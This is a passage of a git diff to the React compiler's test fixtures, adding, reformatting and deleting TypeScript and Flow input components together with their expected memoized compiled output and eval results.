     x = null;
   }
@@ -42,6 +42,7 @@ function Component(props) {
   } catch {
     x = null;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.js
index 89af9ee95fc6..13202dc9acfa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.js
@@ -1,9 +1,9 @@
-const { throwErrorWithMessage } = require("shared-runtime");
+const {throwErrorWithMessage} = require('shared-runtime');
 
 function Component(props) {
   let x;
   try {
-    x = throwErrorWithMessage("oops");
+    x = throwErrorWithMessage('oops');
   } catch {
     x = null;
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.expect.md
new file mode 100644
index 000000000000..505224cf9ed9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+type Status = 'pending' | 'success' | 'error';
+
+const StatusIndicator = ({status}: {status: Status}) => {
+  return <div className={`status-${status}`}>Status: {status}</div>;
+};
+
+const Component = ({status = 'pending' as Status}) => {
+  return <StatusIndicator status={status} />;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{status: 'success'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+type Status = "pending" | "success" | "error";
+
+const StatusIndicator = (t0) => {
+  const $ = _c(3);
+  const { status } = t0;
+  const t1 = `status-${status}`;
+  let t2;
+  if ($[0] !== status || $[1] !== t1) {
+    t2 = <div className={t1}>Status: {status}</div>;
+    $[0] = status;
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  return t2;
+};
+
+const Component = (t0) => {
+  const $ = _c(2);
+  const { status: t1 } = t0;
+  const status = t1 === undefined ? ("pending" as Status) : t1;
+  let t2;
+  if ($[0] !== status) {
+    t2 = <StatusIndicator status={status} />;
+    $[0] = status;
+    $[1] = t2;
+  } else {
+    t2 = $[1];
+  }
+  return t2;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ status: "success" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div class="status-success">Status: success</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.tsx
new file mode 100644
index 000000000000..715efd5bdc8d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-as-expression-default-value.tsx
@@ -0,0 +1,14 @@
+type Status = 'pending' | 'success' | 'error';
+
+const StatusIndicator = ({status}: {status: Status}) => {
+  return <div className={`status-${status}`}>Status: {status}</div>;
+};
+
+const Component = ({status = 'pending' as Status}) => {
+  return <StatusIndicator status={status} />;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{status: 'success'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.expect.md
new file mode 100644
index 000000000000..bb31427d0810
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  enum Bool {
+    True = 'true',
+    False = 'false',
+  }
+
+  let bool: Bool = Bool.False;
+  if (props.value) {
+    bool = Bool.True;
+  }
+  return <div>{bool}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: true}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(props) {
+  const $ = _c(2);
+  enum Bool {
+    True = "true",
+    False = "false",
+  }
+
+  let bool = Bool.False;
+  if (props.value) {
+    bool = Bool.True;
+  }
+  let t0;
+  if ($[0] !== bool) {
+    t0 = <div>{bool}</div>;
+    $[0] = bool;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: true }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>true</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.tsx
new file mode 100644
index 000000000000..7fcec79259ce
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-enum-inline.tsx
@@ -0,0 +1,17 @@
+function Component(props) {
+  enum Bool {
+    True = 'true',
+    False = 'false',
+  }
+
+  let bool: Bool = Bool.False;
+  if (props.value) {
+    bool = Bool.True;
+  }
+  return <div>{bool}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.expect.md
new file mode 100644
index 000000000000..b80c0370f798
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+function id<T>(x: T): T {
+  return x;
+}
+
+export function Component<T = string>({fn = id<T>}: {fn?: (x: T) => T}) {
+  const value = fn('hi' as T);
+  return <div>{String(value)}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function id(x) {
+  return x;
+}
+
+export function Component(t0) {
+  const $ = _c(4);
+  const { fn: t1 } = t0;
+  const fn = t1 === undefined ? id : t1;
+  let t2;
+  if ($[0] !== fn) {
+    t2 = fn("hi" as T);
+    $[0] = fn;
+    $[1] = t2;
+  } else {
+    t2 = $[1];
+  }
+  const value = t2;
+  const t3 = String(value);
+  let t4;
+  if ($[2] !== t3) {
+    t4 = <div>{t3}</div>;
+    $[2] = t3;
+    $[3] = t4;
+  } else {
+    t4 = $[3];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hi</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.tsx
new file mode 100644
index 000000000000..6382962edda9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-default-param.tsx
@@ -0,0 +1,13 @@
+function id<T>(x: T): T {
+  return x;
+}
+
+export function Component<T = string>({fn = id<T>}: {fn?: (x: T) => T}) {
+  const value = fn('hi' as T);
+  return <div>{String(value)}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.expect.md
new file mode 100644
index 000000000000..8400a135b6fe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.expect.md
@@ -0,0 +1,46 @@
+
+## Input
+
+```javascript
+import {identity, invoke} from 'shared-runtime';
+
+function Test() {
+  const str = invoke(identity<string>, 'test');
+  return str;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, invoke } from "shared-runtime";
+
+function Test() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = invoke(identity, "test");
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const str = t0;
+  return str;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "test"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.tsx
new file mode 100644
index 000000000000..373d00574764
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-instantiation-expression.tsx
@@ -0,0 +1,11 @@
+import {identity, invoke} from 'shared-runtime';
+
+function Test() {
+  const str = invoke(identity<string>, 'test');
+  return str;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.expect.md
new file mode 100644
index 000000000000..4b8096f702a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
+const THEME_MAP: ReadonlyMap<string, string> = new Map([
+  ['default', 'light'],
+  ['dark', 'dark'],
+]);
+
+export const Component = ({theme = THEME_MAP.get('default')!}) => {
+  return <div className={`theme-${theme}`}>User preferences</div>;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{status: 'success'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
+const THEME_MAP: ReadonlyMap<string, string> = new Map([
+  ["default", "light"],
+  ["dark", "dark"],
+]);
+
+export const Component = (t0) => {
+  const $ = _c(2);
+  const { theme: t1 } = t0;
+  const theme = t1 === undefined ? THEME_MAP.get("default") : t1;
+  const t2 = `theme-${theme}`;
+  let t3;
+  if ($[0] !== t2) {
+    t3 = <div className={t2}>User preferences</div>;
+    $[0] = t2;
+    $[1] = t3;
+  } else {
+    t3 = $[1];
+  }
+  return t3;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ status: "success" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div class="theme-light">User preferences</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.tsx
new file mode 100644
index 000000000000..43a24622c5ba
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ts-non-null-expression-default-value.tsx
@@ -0,0 +1,14 @@
+// @enablePreserveExistingMemoizationGuarantees:false
+const THEME_MAP: ReadonlyMap<string, string> = new Map([
+  ['default', 'light'],
+  ['dark', 'dark'],
+]);
+
+export const Component = ({theme = THEME_MAP.get('default')!}) => {
+  return <div className={`theme-${theme}`}>User preferences</div>;
+};
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{status: 'success'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.expect.md
index 40b32807584e..ba51a221a661 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  type User = { name: string };
-  const user: User = { name: props.name };
+  type User = {name: string};
+  const user: User = {name: props.name};
   return user;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Mofei" }],
+  params: [{name: 'Mofei'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.ts
index 0fa78d900177..f16f55676001 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-declaration.ts
@@ -1,10 +1,10 @@
 function Component(props) {
-  type User = { name: string };
-  const user: User = { name: props.name };
+  type User = {name: string};
+  const user: User = {name: props.name};
   return user;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Mofei" }],
+  params: [{name: 'Mofei'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.expect.md
index 02a31ec93806..cbde3c79e6a5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.expect.md
@@ -9,7 +9,7 @@ function TypeAliasUsedAsParamAnnotation() {
   const fun = (f: Foo) => {
     console.log(f);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
 export const FIXTURE_ENTRYPOINT = {
@@ -25,12 +25,13 @@ export const FIXTURE_ENTRYPOINT = {
 // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
 type Bar = string;
 function TypeAliasUsedAsParamAnnotation() {
-  const fun = (f) => {
-    console.log(f);
-  };
+  const fun = _temp;
 
   fun("hello, world");
 }
+function _temp(f) {
+  console.log(f);
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsParamAnnotation,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.ts
index d8eb6093d50c..f25db943af62 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation.ts
@@ -5,7 +5,7 @@ function TypeAliasUsedAsParamAnnotation() {
   const fun = (f: Foo) => {
     console.log(f);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.expect.md
index 92c522c4503b..391dda8857c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.expect.md
@@ -9,13 +9,14 @@ function TypeAliasUsedAsAnnotation() {
   const fun = (f: Foo) => {
     console.log(f);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsAnnotation,
   params: [],
 };
+
 ```
 
 ## Code
@@ -23,12 +24,13 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 type Bar = string;
 function TypeAliasUsedAsAnnotation() {
-  const fun = (f) => {
-    console.log(f);
-  };
+  const fun = _temp;
 
   fun("hello, world");
 }
+function _temp(f) {
+  console.log(f);
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsAnnotation,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.js
index a34ffef472b4..dd2e0a714a80 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-annotation_.flow.js
@@ -5,10 +5,10 @@ function TypeAliasUsedAsAnnotation() {
   const fun = (f: Foo) => {
     console.log(f);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsAnnotation,
   params: [],
-};
\ No newline at end of file
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.expect.md
index f97bcbb3a680..7b887181a724 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.expect.md
@@ -6,11 +6,11 @@
 type Bar = string;
 function TypeAliasUsedAsVariableAnnotation() {
   type Foo = Bar;
-  const fun = (f) => {
+  const fun = f => {
     let g: Foo = f;
     console.log(g);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
 export const FIXTURE_ENTRYPOINT = {
@@ -26,13 +26,14 @@ export const FIXTURE_ENTRYPOINT = {
 // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
 type Bar = string;
 function TypeAliasUsedAsVariableAnnotation() {
-  const fun = (f) => {
-    const g = f;
-    console.log(g);
-  };
+  const fun = _temp;
 
   fun("hello, world");
 }
+function _temp(f) {
+  const g = f;
+  console.log(g);
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsVariableAnnotation,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.ts
index 8b8b0bfb417b..7c5b7a269a29 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation.ts
@@ -2,11 +2,11 @@
 type Bar = string;
 function TypeAliasUsedAsVariableAnnotation() {
   type Foo = Bar;
-  const fun = (f) => {
+  const fun = f => {
     let g: Foo = f;
     console.log(g);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.expect.md
index 9362ad8655b9..2afeca1f8ce1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.expect.md
@@ -6,18 +6,18 @@
 type Bar = string;
 function TypeAliasUsedAsAnnotation() {
   type Foo = Bar;
-  const fun = (f) => {
+  const fun = f => {
     let g: Foo = f;
     console.log(g);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
-
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsAnnotation,
   params: [],
 };
+
 ```
 
 ## Code
@@ -25,13 +25,14 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 type Bar = string;
 function TypeAliasUsedAsAnnotation() {
-  const fun = (f) => {
-    const g = f;
-    console.log(g);
-  };
+  const fun = _temp;
 
   fun("hello, world");
 }
+function _temp(f) {
+  const g = f;
+  console.log(g);
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsAnnotation,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.js
index 19e99ebfdddf..037dbf570413 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias-used-as-variable-annotation_.flow.js
@@ -2,15 +2,14 @@
 type Bar = string;
 function TypeAliasUsedAsAnnotation() {
   type Foo = Bar;
-  const fun = (f) => {
+  const fun = f => {
     let g: Foo = f;
     console.log(g);
   };
-  fun("hello, world");
+  fun('hello, world');
 }
 
-
 export const FIXTURE_ENTRYPOINT = {
   fn: TypeAliasUsedAsAnnotation,
   params: [],
-};
\ No newline at end of file
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.expect.md
index 23c86837d667..889236825bf3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.expect.md
@@ -13,6 +13,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [{name: 'Mofei'}],
 };
+
 ```
 
 ## Code
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.js
index d5baed67ca55..f5bf36c49fca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-alias.flow.js
@@ -8,4 +8,4 @@ function Component(props) {
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [{name: 'Mofei'}],
-};
\ No newline at end of file
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/todo_type-annotations-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/todo_type-annotations-props.expect.md
deleted file mode 100644
index 709f75ddb294..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/todo_type-annotations-props.expect.md
+++ /dev/null
@@ -1,52 +0,0 @@
-
-## Input
-
-```javascript
-// @enableUseTypeAnnotations
-function useArray(items: Array<number>) {
-  // With type information we know that the callback cannot escape
-  // and does not need to be memoized, only the result needs to be
-  // memoized:
-  return items.filter((x) => x !== 0);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useArray,
-  params: [[1, 0, 2, 0, 3, 0, 42]],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableUseTypeAnnotations
-function useArray(items) {
-  const $ = _c(3);
-  let t0;
-  if ($[0] !== items) {
-    let t1;
-    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-      t1 = (x) => x !== 0;
-      $[2] = t1;
-    } else {
-      t1 = $[2];
-    }
-    t0 = items.filter(t1);
-    $[0] = items;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useArray,
-  params: [[1, 0, 2, 0, 3, 0, 42]],
-};
-
-```
-      
-### Eval output
-(kind: ok) [1,2,3,42]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/todo_type-annotations-props.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/todo_type-annotations-props.ts
deleted file mode 100644
index 1f0d177c60d2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/todo_type-annotations-props.ts
+++ /dev/null
@@ -1,12 +0,0 @@
-// @enableUseTypeAnnotations
-function useArray(items: Array<number>) {
-  // With type information we know that the callback cannot escape
-  // and does not need to be memoized, only the result needs to be
-  // memoized:
-  return items.filter((x) => x !== 0);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useArray,
-  params: [[1, 0, 2, 0, 3, 0, 42]],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array.expect.md
deleted file mode 100644
index a964f01838e6..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array.expect.md
+++ /dev/null
@@ -1,71 +0,0 @@
-
-## Input
-
-```javascript
-// @enableUseTypeAnnotations
-function Component(props: { id: number }) {
-  const x = makeArray(props.id) as number[];
-  const y = x.at(0);
-  return y;
-}
-
-function makeArray<T>(x: T): Array<T> {
-  return [x];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableUseTypeAnnotations
-function Component(props) {
-  const $ = _c(4);
-  let t0;
-  if ($[0] !== props.id) {
-    t0 = makeArray(props.id);
-    $[0] = props.id;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const x = t0 as number[];
-  let t1;
-  if ($[2] !== x) {
-    t1 = x.at(0);
-    $[2] = x;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const y = t1;
-  return y;
-}
-
-function makeArray(x) {
-  const $ = _c(2);
-  let t0;
-  if ($[0] !== x) {
-    t0 = [x];
-    $[0] = x;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array.ts
deleted file mode 100644
index 6284ea3bd9ff..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array.ts
+++ /dev/null
@@ -1,15 +0,0 @@
-// @enableUseTypeAnnotations
-function Component(props: { id: number }) {
-  const x = makeArray(props.id) as number[];
-  const y = x.at(0);
-  return y;
-}
-
-function makeArray<T>(x: T): Array<T> {
-  return [x];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array_.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array_.flow.expect.md
deleted file mode 100644
index e6b29ecee1e1..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array_.flow.expect.md
+++ /dev/null
@@ -1,58 +0,0 @@
-
-## Input
-
-```javascript
-// @flow @enableUseTypeAnnotations
-import { identity, makeArray } from "shared-runtime";
-
-function Component(props: { id: number }) {
-  const x = (makeArray(props.id): Array<number>);
-  const y = x.at(0);
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime";
-import { identity, makeArray } from "shared-runtime";
-
-function Component(props) {
-  const $ = _c(4);
-  let t0;
-  if ($[0] !== props.id) {
-    t0 = makeArray(props.id);
-    $[0] = props.id;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const x = (t0: Array<number>);
-  let t1;
-  if ($[2] !== x) {
-    t1 = x.at(0);
-    $[2] = x;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const y = t1;
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
\ No newline at end of file
